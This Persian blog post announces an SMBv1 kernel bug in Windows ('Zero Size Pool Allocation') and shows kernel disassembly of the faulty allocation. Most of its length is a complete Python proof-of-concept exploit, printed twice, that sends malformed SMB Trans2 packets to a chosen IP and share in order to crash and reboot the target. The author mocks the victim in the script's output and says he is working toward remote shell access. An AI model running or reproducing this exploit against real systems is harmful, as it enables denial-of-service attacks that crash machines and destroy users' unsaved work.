شامپو رفع سفیدی مو
بیش از 15 سال جوان شوید با این شامپو دیگر نیازی به رنگ مو ندارید |
ماسک کوچک کننده بینی
ماسک چندکاره مخصوص بینی پاک کننده، کوچک کننده و فرم دهنده |
|
X
تبلیغات در بلاگ اسکای
|
|
نویسنده : مهرداد فرهادی | دسته : علمی (فنی، مهندسی)
منتشر شده به تاریخ : یکشنبه 24 مرداد 1389 در ساعت 10:35
منتشر شده به تاریخ : یکشنبه 24 مرداد 1389 در ساعت 10:35
چند وقت پیش بود که ضعف امنیتی خطرناکی در SMBv2 پیدا شده بود.
چند روزی هم میشه که یک باگ جدید دیگه در SMBv1 بیرون اومده که میشه باهاش هر سیستم Windowsی را reboot کرد (دارم روش کار می کنم که بتونم shell بگیرم ولی kernel exploitation بهمین سادگیا هم نیست...)
لطفا توجه داشته باشید که سیستم BSOD می کنه بعد reboot میشه ولی احتمال داره بدون BSOD هم reboot بشه! در هر حال قبل از تست کردن تمام فایل های بازتون رو save کنید.
اطلاعات بیشتر در ادامه
باگ در اینجا اتفاق میفته :
kd> nt!NtQueryVolumeInformationFile+0x3de:
82a5779c ff7514 push dword ptr [ebp+14h] ;User controlled
82a5779f 50 push eax
82a577a0 e85d1fe6ff call nt!ExAllocatePoolWithQuotaTag (828b9702)
82a577a5 eb23 jmp nt!NtQueryVolumeInformationFile+0x40c
kd>
82a5779c ff7514 push dword ptr [ebp+14h] ;User controlled
82a5779f 50 push eax
82a577a0 e85d1fe6ff call nt!ExAllocatePoolWithQuotaTag (828b9702)
82a577a5 eb23 jmp nt!NtQueryVolumeInformationFile+0x40c
kd>
وقتی مقدار EAX صفر باشه برنامه Crash می کنه ولی چون در سطح kernel (Ring0)
است پس KeDebug صدا زنده میشه و سپس BSOD میشه.
اسم باگ :
Microsoft SMB Server Zero Size Pool Allocation
Exploit:
#!/usr/bin/env python
## ATTENTION: This will cause BSOD or REBOOT, so be aware of Data lost ;)
## Usage: python smb-poc.py [IP] [Share-Name]
## e.g. python smb-poc.py 192.168.0.100 TestShare
##
## Test Case:
## mfox@0day:~/Desktop/Priv8$ python smb.py 192.168.0.100 TestShare
## [!]Attacking 192.168.0.100, He would better run away hahahah...
## [+]Negotiate Protocol Request sent
## [+]Session Query sent
## [+]Malformed Trans2 packet sent
## [+]The target should be down now! hahahahah
## mfox@0day:~/Desktop/Priv8$
## ~~~~~~~~~~~~~~> Target got rebooted after moment ;) <~~~~~~~~~~~~~~~~
##
import sys,struct,socket
from socket import *
if len(sys.argv)<=2:
print 'Usage: python '+sys.argv[0]+' [TARGET-IP] [SHARE-NAME] (No backslash)'
sys.exit()
host = str(sys.argv[1]),445
packetnego = "\x00\x00\x00\x9a"
packetnego += "\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
packetnego += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc3\x15\x00\x00\x01\x3d"
packetnego += "\x00\x77\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50"
packetnego += "\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02\x4d\x49\x43\x52"
packetnego += "\x4f\x53\x4f\x46\x54\x20\x4e\x45\x54\x57\x4f\x52\x4b\x53\x20\x33"
packetnego += "\x2e\x30\x00\x02\x44\x4f\x53\x20\x4c\x4d\x31\x2e\x32\x58\x30\x30"
packetnego += "\x32\x00\x02\x44\x4f\x53\x20\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31"
packetnego += "\x00\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f"
packetnego += "\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00\x02\x4e"
packetnego += "\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"
def tidpiduidfield(data):
all_=data[28:34]
return all_
def handle(data):
##Chained SMB commands; Session Setup AndX Request,Tree connect
if data[8:10] == "\x72\x00":
sharename = "\x00\x00\x5c\x5c\x5c"+str(sys.argv[2])+"\x00\x3f\x3f\x3f\x3f\x3f\x00"
packetsession = "\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00"
packetsession += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd5\x15\x01\x00\x81\x2f"
packetsession += "\x0d\x75\x00\x7a\x00\x68\x0b\x32\x00\x00\x00\x00\x00\x00\x00\x18"
packetsession += "\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x3d\x00\x01\x01\x01"
packetsession += "\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
packetsession += "\x01\x01\x01\x01\x01\x59\x4f\x00\x57\x4f\x52\x4b\x47\x52\x4f\x55"
packetsession += "\x50\x00\x57\x69\x6e\x64\x6f\x77\x73\x20\x34\x2e\x30\x00\x57\x69"
packetsession += "\x6e\x64\x6f\x77\x73\x20\x34\x2e\x30\x00\x04\xff\x00\x00\x00\x00"
packetsession += "\x00\x01\x00"+struct.pack(">i", len(sharename))[3:4]+sharename
print "[+]Session Query sent"
return struct.pack(">i", len(packetsession))+packetsession
##Trans2, Request, QUERY_FS_INFO Query FS Attribute Info
if data[8:10] == "\x73\x00":
packetrans = "\x00\x00\x00\x46"
packetrans += "\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x01\xc8\x00\x00\x00\x00"
packetrans += "\x00\x00\x00\x00\x00\x00\x00\x00"+tidpiduidfield(data)+"\x13\x00"
packetrans += "\x0f\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
packetrans += "\x00\x00\x00\x02\x00\x44\x00\x00\x00\x46\x00\x01\x00\x03\x00\x05"
packetrans += "\x00\x00\x44\x20\x05\x01"
print "[+]Malformed Trans2 packet sent\n[+]The target should be down now! hahahahah"
return packetrans
def run():
print '[!]Attacking '+sys.argv[1]+', He would better run away hahahah...'
s = socket(AF_INET, SOCK_STREAM)
s.connect(host)
s.settimeout(2)
s.send(packetnego)
print "[+]Negotiate Protocol Request sent"
try:
while True:
data = s.recv(1024)
s.send(handle(data))
except Exception:
print '[-]Oops!!! Something is wrong :P'
pass
s.close()
run()
## ATTENTION: This will cause BSOD or REBOOT, so be aware of Data lost ;)
## Usage: python smb-poc.py [IP] [Share-Name]
## e.g. python smb-poc.py 192.168.0.100 TestShare
##
## Test Case:
## mfox@0day:~/Desktop/Priv8$ python smb.py 192.168.0.100 TestShare
## [!]Attacking 192.168.0.100, He would better run away hahahah...
## [+]Negotiate Protocol Request sent
## [+]Session Query sent
## [+]Malformed Trans2 packet sent
## [+]The target should be down now! hahahahah
## mfox@0day:~/Desktop/Priv8$
## ~~~~~~~~~~~~~~> Target got rebooted after moment ;) <~~~~~~~~~~~~~~~~
##
import sys,struct,socket
from socket import *
if len(sys.argv)<=2:
print 'Usage: python '+sys.argv[0]+' [TARGET-IP] [SHARE-NAME] (No backslash)'
sys.exit()
host = str(sys.argv[1]),445
packetnego = "\x00\x00\x00\x9a"
packetnego += "\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
packetnego += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc3\x15\x00\x00\x01\x3d"
packetnego += "\x00\x77\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50"
packetnego += "\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02\x4d\x49\x43\x52"
packetnego += "\x4f\x53\x4f\x46\x54\x20\x4e\x45\x54\x57\x4f\x52\x4b\x53\x20\x33"
packetnego += "\x2e\x30\x00\x02\x44\x4f\x53\x20\x4c\x4d\x31\x2e\x32\x58\x30\x30"
packetnego += "\x32\x00\x02\x44\x4f\x53\x20\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31"
packetnego += "\x00\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f"
packetnego += "\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00\x02\x4e"
packetnego += "\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"
def tidpiduidfield(data):
all_=data[28:34]
return all_
def handle(data):
##Chained SMB commands; Session Setup AndX Request,Tree connect
if data[8:10] == "\x72\x00":
sharename = "\x00\x00\x5c\x5c\x5c"+str(sys.argv[2])+"\x00\x3f\x3f\x3f\x3f\x3f\x00"
packetsession = "\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00"
packetsession += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd5\x15\x01\x00\x81\x2f"
packetsession += "\x0d\x75\x00\x7a\x00\x68\x0b\x32\x00\x00\x00\x00\x00\x00\x00\x18"
packetsession += "\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x3d\x00\x01\x01\x01"
packetsession += "\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
packetsession += "\x01\x01\x01\x01\x01\x59\x4f\x00\x57\x4f\x52\x4b\x47\x52\x4f\x55"
packetsession += "\x50\x00\x57\x69\x6e\x64\x6f\x77\x73\x20\x34\x2e\x30\x00\x57\x69"
packetsession += "\x6e\x64\x6f\x77\x73\x20\x34\x2e\x30\x00\x04\xff\x00\x00\x00\x00"
packetsession += "\x00\x01\x00"+struct.pack(">i", len(sharename))[3:4]+sharename
print "[+]Session Query sent"
return struct.pack(">i", len(packetsession))+packetsession
##Trans2, Request, QUERY_FS_INFO Query FS Attribute Info
if data[8:10] == "\x73\x00":
packetrans = "\x00\x00\x00\x46"
packetrans += "\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x01\xc8\x00\x00\x00\x00"
packetrans += "\x00\x00\x00\x00\x00\x00\x00\x00"+tidpiduidfield(data)+"\x13\x00"
packetrans += "\x0f\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
packetrans += "\x00\x00\x00\x02\x00\x44\x00\x00\x00\x46\x00\x01\x00\x03\x00\x05"
packetrans += "\x00\x00\x44\x20\x05\x01"
print "[+]Malformed Trans2 packet sent\n[+]The target should be down now! hahahahah"
return packetrans
def run():
print '[!]Attacking '+sys.argv[1]+', He would better run away hahahah...'
s = socket(AF_INET, SOCK_STREAM)
s.connect(host)
s.settimeout(2)
s.send(packetnego)
print "[+]Negotiate Protocol Request sent"
try:
while True:
data = s.recv(1024)
s.send(handle(data))
except Exception:
print '[-]Oops!!! Something is wrong :P'
pass
s.close()
run()

